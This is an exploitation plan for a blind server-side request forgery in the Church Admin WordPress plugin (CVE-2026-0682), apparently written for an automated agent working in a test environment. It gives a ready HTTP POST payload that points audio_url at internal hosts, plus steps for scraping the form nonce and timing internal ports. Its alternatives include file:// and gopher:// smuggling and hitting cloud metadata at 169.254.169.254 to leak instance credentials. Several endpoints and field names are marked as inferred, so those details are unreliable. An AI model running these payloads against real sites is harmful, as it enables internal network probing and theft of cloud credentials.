Church Admin <= 5.0.28 - Authenticated (Administrator+) Blind Server-Side Request Forgery via 'audio_url' Parameter

This research plan provides a technical roadmap for exploiting the Blind Server-Side Request Forgery (SSRF) vulnerability in the Church Admin plugin (CVE-2026-0682).

---

1. Vulnerability Summary

The Church Admin plugin (<= 5.0.28) fails to properly validate the audio_url parameter when processing sermon entries. An authenticated administrator can provide an arbitrary internal or external URL, which the server will attempt to fetch (likely to retrieve file size, duration, or metadata). Because the response from the remote server is not directly returned to the user, this is a Blind SSRF.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/admin.php?page=church_admin/index.php&section=sermons&action=edit-sermon (or similar sermon creation/edit endpoint).
• Action Hook: Likely handled via admin_init or a specific page handler in the Church Admin plugin.
• Vulnerable Parameter: audio_url
• Authentication Required: Administrator level privileges.
• Precondition: The plugin must be active, and the attacker must have access to the Sermon management section.

3. Code Flow (Inferred)

1. Entry Point: The administrator navigates to the "Sermons" section of the Church Admin menu and clicks "Add Sermon" or "Edit Sermon".
2. Form Submission: A POST request is sent to wp-admin/admin.php with the audio_url parameter.
3. Vulnerable Sink: The plugin likely calls a function such as church_admin_get_remote_file_size() or uses wp_remote_get() / wp_remote_head() directly on the audio_url without verifying if the host is a public IP address or if the scheme is restricted to HTTP/HTTPS.
4. SSRF Execution: The WordPress server originates a request to the attacker-supplied URL (e.g., http://127.0.0.1:22 or http://169.254.169.254/).

4. Nonce Acquisition Strategy

The Church Admin plugin uses standard WordPress admin form nonces.

1. Identify the Page: The sermon edit/add page is located at:
   wp-admin/admin.php?page=church_admin/index.php&section=sermons&action=edit-sermon
2. Navigate and Extract:
   • Use browser_navigate to reach the sermon creation page.
   • Use browser_eval to extract the nonce value from the form.
   • JS Variable/Field: Look for document.querySelector('input[name="church_admin_nonce"]').value or document.querySelector('#church_admin_sermon_form [name="_wpnonce"]').value. (Inferred field name: church_admin_nonce).

5. Exploitation Strategy

We will perform a blind SSRF to confirm the vulnerability by attempting to hit an internal service or a local port.

Step 1: Environment Setup

• Ensure Church Admin <= 5.0.28 is installed.
• Login as an Administrator.

Step 2: Probe for SSRF

• Target: http://127.0.0.1:80 (The WordPress instance itself).
• Payload:

  POST /wp-admin/admin.php?page=church_admin/index.php&section=sermons&action=edit-sermon HTTP/1.1
  Host: localhost:8080
  Content-Type: application/x-www-form-urlencoded
  Cookie: [Admin Cookies]
  
  church_admin_nonce=[NONCE]&save_sermon=1&audio_url=http://127.0.0.1:80/&file_title=SSRF_Test&sermon_date=2024-01-01
  

Step 3: Verification of Blind SSRF
Since the response is blind, we use timing or state changes:

1. Timing Attack: Use an internal IP that is known to be non-responsive (e.g., 10.0.0.1) and compare response time to a known open port (127.0.0.1:80).
2. Access Logs: Check the WordPress access logs (/var/log/apache2/access.log) to see if the server made a request to itself.

6. Test Data Setup

1. Plugin Installation: wp plugin install church-admin --version=5.0.28 --activate
2. Admin User: Ensure a user with administrator role exists.
3. Sermon Category: Some versions require a sermon category to exist before adding a sermon.
   • wp eval "church_admin_create_default_data();" (If function exists) or manually create a category via the UI.

7. Expected Results

• Successful Exploitation: The WordPress server makes an outbound HTTP request to the URL specified in audio_url.
• Blind Confirmation: The request takes significantly longer when targeting a closed/filtered internal port vs. an open port, or a hit is recorded in the server's own access logs if 127.0.0.1 is used.

8. Verification Steps

After the HTTP request, use WP-CLI to check if the sermon was saved with the malicious URL (confirming the sink was reached):

wp db query "SELECT option_value FROM wp_options WHERE option_name = 'church_admin_sermons'"
# Or check the specific table if the plugin uses a custom table
wp db query "SELECT audio_url FROM wp_church_admin_sermon WHERE file_title = 'SSRF_Test'"

9. Alternative Approaches

• OOB (Out-of-Band): If the environment allows external DNS/HTTP, use a webhook.site or interactsh URL.
• Protocol Smuggling: Test if schemes other than http are supported, such as gopher:// or file://.
• Metadata Services: If running in AWS/GCP, attempt to hit http://169.254.169.254/latest/meta-data/ to leak instance credentials.